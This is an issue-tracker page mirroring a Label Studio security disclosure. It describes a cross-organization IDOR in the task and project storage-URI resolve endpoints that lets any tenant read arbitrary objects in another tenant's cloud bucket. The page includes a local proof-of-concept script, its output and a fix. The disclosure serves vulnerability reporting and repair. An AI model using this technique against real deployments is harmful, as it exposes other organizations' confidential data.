HumanSignal / HumanSignal/label-studio

Cross-organization IDOR in storage-URI resolve/proxy endpoints → arbitrary cross-tenant cloud-storage object read

Open
#9,924 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
28.3k
Forks
3.7k
Avg merge
14h
Merged PRs (30d)
15

Description

reported on 9 June 2026 - https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8mp9-cpp7-x63q

## Summary

`GET /tasks//resolve/?fileuri=` and `GET /projects//resolve/?fileuri=` fetch the task/project by bare primary key with **no organization filter**, and the only authz gate (`has_permission`) is a no-op stub in the Community edition. Any authenticated user from any organization can resolve another tenant's storage objects — and because the URI is only checked for scheme+bucket match (not that the key is referenced by the task), an attacker can read **arbitrary objects in the victim's S3/GCS/Azure bucket**.

## Details

- `io_storages/proxy_api.py:288-307` `TaskResolveStorageUri.get()`: `task = Task.objects.get(pk=task_id)` — no org filter.
- `io_storages/proxy_api.py:310-337` `ProjectResolveStorageUri.get()`: same flaw on `project_id`.
- Authz gate: `ResolveStorageUriAPIMixin.resolve()` (`:29`) only does `if not instance.has_permission(request.user): 403`. In Community, `TaskMixin.has_permission`/`ProjectMixin.has_permission` (`tasks/mixins.py`, `projects/mixins.py`) return `True` unconditionally (`tasks/models.py:362-366`). The intended cross-tenant defense is org-scoped querysets (e.g. `tasks/api.py:387` `Task.objects.filter(project__organization=request.user.active_organization)`), which these two endpoints bypass.
- Escalation: `resolve()` (`:42-62`) takes attacker `fileuri`, matches a storage via `get_storage_by_url`, and presigns/streams it. `can_resolve_url` (`base_models.py:351-370`) only checks scheme+bucket, never that the key belongs to the task → arbitrary-object read within the bucket.

Routes: `io_storages/urls.py:197-208` (plus `/presign/` aliases).

## PoC (validated)

`scripts/poc_cross_org_idor.py` — drives the real `TaskResolveStorageUri` view via Django RequestFactory against a migrated DB: attacker in org B reads org A's task storage object, and an arbitrary unreferenced key in the victim bucket, while the org-filtered queryset correctly hides the task. (`S3ImportStorage.get_bytes_stream` mocked to avoid live AWS; the authorization path runs unmodified.)
```
Attacker active org == victim org? False
referenced-file: status=200 leaked=True
arbitrary-key: status=200 leaked=True (object NOT in task.data)
Org-filtered queryset exposes victim task? False (should be False)
```

## Impact

Any authenticated tenant reads other tenants' task/project data and arbitrary objects in their connected cloud buckets (IDs are sequential/enumerable; bucket names leak via task data/exports). Confidentiality across security authorities (S:C).

## Net-new

Distinct from CVE-2025-25297 (SSRF via `s3_endpoint` in storage creation), CVE-2023-47117 (ORM filter leak in task filtering), CVE-2025-25295 (SDK image traversal). No advisory covers the storage-URI proxy endpoints' missing org-scope.

## Remediation

Scope both endpoints by org: `get_object_or_404(Task.objects.filter(project__organization=request.user.active_organization), pk=task_id)` (and project equivalent), and bind `fileuri` to keys actually referenced by the task/project.

poc_cross_org_idor.py:
```

#!/usr/bin/env python3
"""
PoC: cross-org IDOR in label-studio storage-URI resolve endpoints
(label_studio/io_storages/proxy_api.py TaskResolveStorageUri/ProjectResolveStorageUri:
bare pk lookup, no org filter; Community has_permission() == True).
Setup: python -m venv lsvenv && lsvenv/bin/pip install -e ./label-studio
Run: DATABASE_NAME=/tmp/ls_poc.sqlite3 lsvenv/bin/python poc_cross_org_idor.py
(adjust the sys.path.insert below to point at /label_studio)
"""
import os, sys, base64
sys.path.insert(0, os.path.expanduser("~/Downloads/label-studio/label_studio"))
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "core.settings.label_studio")
os.environ.setdefault("LABEL_STUDIO_BASE_DATA_DIR", "/tmp/ls_poc_data")
os.environ.setdefault("DATABASE_NAME", "/tmp/ls_poc.sqlite3")
os.makedirs("/tmp/ls_poc_data", exist_ok=True)

import django; django.setup()
from django.core.management import call_command
call_command("migrate", run_syncdb=True, verbosity=0)

from django.test import RequestFactory
from unittest import mock
from organizations.models import Organization
from projects.models import Project
from tasks.models import Task
from io_storages.s3.models import S3ImportStorage
from users.models import User
from io_storages.proxy_api import TaskResolveStorageUri

userA = User.objects.create(email="victimA@example.com")
orgA = Organization.create_organization(created_by=userA, title="OrgA"); userA.active_organization = orgA; userA.save()
projA = Project.objects.create(title="SecretProjA", organization=orgA, created_by=userA)
S3ImportStorage.objects.create(project=projA, bucket="victim-secret-bucket", prefix="", presign=False, title="victimS3")
SECRET = "s3://victim-secret-bucket/confidential/patient-records.json"
taskA = Task.objects.create(project=projA, data={"image": SECRET})

userB = User.objects.create(email="attackerB@example.com")
orgB = Organization.create_organization(created_by=userB, title="OrgB"); userB.active_organization = orgB; userB.save()
print("attacker org == victim org?", userB.active_organization_id == orgA.id)

rf = RequestFactory(); view = TaskResolveStorageUri.as_view()
class FakeStream:
def iter_chunks(self, chunk_size=None): yield b"TOP-SECRET PATIENT RECORDS (cross-org leak)\n"
def fake_stream(uri, range_header=None):
return FakeStream(), "application/json", {"StatusCode": 200, "ETag": '"x"'}

def attack(uri, label):
b64 = base64.urlsafe_b64encode(uri.encode()).decode()
req = rf.get(f"/tasks/{taskA.id}/resolve/?fileuri={b64}"); req.user = userB
with mock.patch.object(S3ImportStorage, "get_bytes_stream", side_effect=fake_stream):
resp = view(req, task_id=taskA.id)
body = b"".join(resp.streaming_content) if hasattr(resp, "streaming_content") else resp.content
print(f"[{label}] status={resp.status_code} leaked={resp.status_code==200 and b'TOP-SECRET' in body}")

attack(SECRET, "referenced-file")
attack("s3://victim-secret-bucket/some/OTHER/unreferenced-key.csv", "arbitrary-key")
visible = Task.objects.filter(project__organization=userB.active_organization).filter(pk=taskA.id).exists()
print("org-filtered queryset exposes victim task?", visible, "(should be False)")

```

v1.24.0.dev0

Contributor guide

Open the contributing guide

Research direction

Start with the TaskResolveStorageUri and ProjectResolveStorageUri entry points in io_storages/proxy_api.py and run scripts/poc_cross_org_idor.py to reproduce the leak. Compare their lookups with the org-scoped query in tasks/api.py and inspect the routes in io_storages/urls.py; done means cross-organization and unreferenced storage-object reads are denied.

Written by the indexing model from the issue text.

Assessment

Tech stack
aws, django, python
Domain
api, cloud, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.